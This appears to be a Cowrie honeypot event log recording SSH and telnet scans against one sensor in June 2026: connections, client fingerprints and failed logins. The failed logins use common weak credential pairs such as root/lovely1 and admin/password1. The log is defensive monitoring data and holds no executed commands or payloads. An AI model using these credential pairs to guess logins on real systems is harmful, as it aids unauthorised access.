{"eventid":"cowrie.login.failed","username":"root","password":"lovely1","message":"login attempt [root/lovely1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:44.846186Z","src_ip":"37.233.85.71","session":"9136e69545e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":55528,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c8eb366aab6","protocol":"ssh","message":"New connection: 141.11.88.14:55528 (10.17.0.5:22) [session: 9c8eb366aab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:44.861544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:45.367216Z","src_ip":"141.11.88.14","session":"9c8eb366aab6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:45.371222Z","src_ip":"141.11.88.14","session":"9c8eb366aab6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:45.960793Z","src_ip":"37.233.85.71","session":"9136e69545e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser@2024","message":"login attempt [azureuser/azureuser@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:46.445971Z","src_ip":"141.11.88.14","session":"9c8eb366aab6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:47.566974Z","src_ip":"141.11.88.14","session":"9c8eb366aab6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":37260,"dst_ip":"10.17.0.5","dst_port":22,"session":"5facc8ff2a6b","protocol":"ssh","message":"New connection: 197.5.145.150:37260 (10.17.0.5:22) [session: 5facc8ff2a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:49.281431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:49.286504Z","src_ip":"197.5.145.150","session":"5facc8ff2a6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:49.395463Z","src_ip":"197.5.145.150","session":"5facc8ff2a6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jerry","password":"jerry123","message":"login attempt [jerry/jerry123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:49.864214Z","src_ip":"197.5.145.150","session":"5facc8ff2a6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":56104,"dst_ip":"159.203.135.109","dst_port":23,"session":"812cedd2e345","protocol":"telnet","message":"New connection: 172.81.62.90:56104 (159.203.135.109:23) [session: 812cedd2e345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:50.525330Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:50.977444Z","src_ip":"197.5.145.150","session":"5facc8ff2a6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":28706,"dst_ip":"10.17.0.5","dst_port":22,"session":"c45fc8437d17","protocol":"ssh","message":"New connection: 141.11.88.14:28706 (10.17.0.5:22) [session: c45fc8437d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:52.339772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:52.374706Z","src_ip":"141.11.88.14","session":"c45fc8437d17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:52.461531Z","src_ip":"141.11.88.14","session":"c45fc8437d17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":43992,"dst_ip":"10.17.0.5","dst_port":22,"session":"78425b6dab80","protocol":"ssh","message":"New connection: 41.86.34.139:43992 (10.17.0.5:22) [session: 78425b6dab80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:52.498914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:52.502709Z","src_ip":"41.86.34.139","session":"78425b6dab80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:52.709804Z","src_ip":"41.86.34.139","session":"78425b6dab80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Qwerty","message":"login attempt [test/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:52.828120Z","src_ip":"141.11.88.14","session":"c45fc8437d17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password1","message":"login attempt [admin/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:53.574327Z","src_ip":"41.86.34.139","session":"78425b6dab80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:53.912227Z","src_ip":"141.11.88.14","session":"c45fc8437d17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:54.785416Z","src_ip":"41.86.34.139","session":"78425b6dab80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41974,"dst_ip":"159.203.135.109","dst_port":23,"session":"b01ceb62b4cb","protocol":"telnet","message":"New connection: 128.199.8.54:41974 (159.203.135.109:23) [session: b01ceb62b4cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:56:56.175706Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":10556,"dst_ip":"10.17.0.5","dst_port":22,"session":"7719ab35d271","protocol":"ssh","message":"New connection: 141.11.88.14:10556 (10.17.0.5:22) [session: 7719ab35d271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:00.689894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:00.786475Z","src_ip":"141.11.88.14","session":"7719ab35d271","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:00.790365Z","src_ip":"141.11.88.14","session":"7719ab35d271","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:01.717618Z","src_ip":"141.11.88.14","session":"7719ab35d271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:02.892012Z","src_ip":"141.11.88.14","session":"7719ab35d271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":18802,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dce0155c50e","protocol":"ssh","message":"New connection: 141.11.88.14:18802 (10.17.0.5:22) [session: 4dce0155c50e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:09.200754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:09.226259Z","src_ip":"141.11.88.14","session":"4dce0155c50e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:09.286683Z","src_ip":"141.11.88.14","session":"4dce0155c50e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:09.713836Z","src_ip":"141.11.88.14","session":"4dce0155c50e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:10.810677Z","src_ip":"141.11.88.14","session":"4dce0155c50e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":40070,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a9843a47a3f","protocol":"ssh","message":"New connection: 197.5.145.150:40070 (10.17.0.5:22) [session: 8a9843a47a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:15.469916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:15.474424Z","src_ip":"197.5.145.150","session":"8a9843a47a3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:15.589898Z","src_ip":"197.5.145.150","session":"8a9843a47a3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty@12345","message":"login attempt [root/Qwerty@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:16.077979Z","src_ip":"197.5.145.150","session":"8a9843a47a3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":18868,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a151297e48f","protocol":"ssh","message":"New connection: 141.11.88.14:18868 (10.17.0.5:22) [session: 1a151297e48f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:17.094231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:17.135903Z","src_ip":"141.11.88.14","session":"1a151297e48f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:17.196542Z","src_ip":"197.5.145.150","session":"8a9843a47a3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:17.210346Z","src_ip":"141.11.88.14","session":"1a151297e48f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osm","password":"123456","message":"login attempt [osm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:17.554768Z","src_ip":"141.11.88.14","session":"1a151297e48f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:18.657624Z","src_ip":"141.11.88.14","session":"1a151297e48f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":22688,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc385a9d4b05","protocol":"ssh","message":"New connection: 141.11.88.14:22688 (10.17.0.5:22) [session: cc385a9d4b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:24.770570Z"}
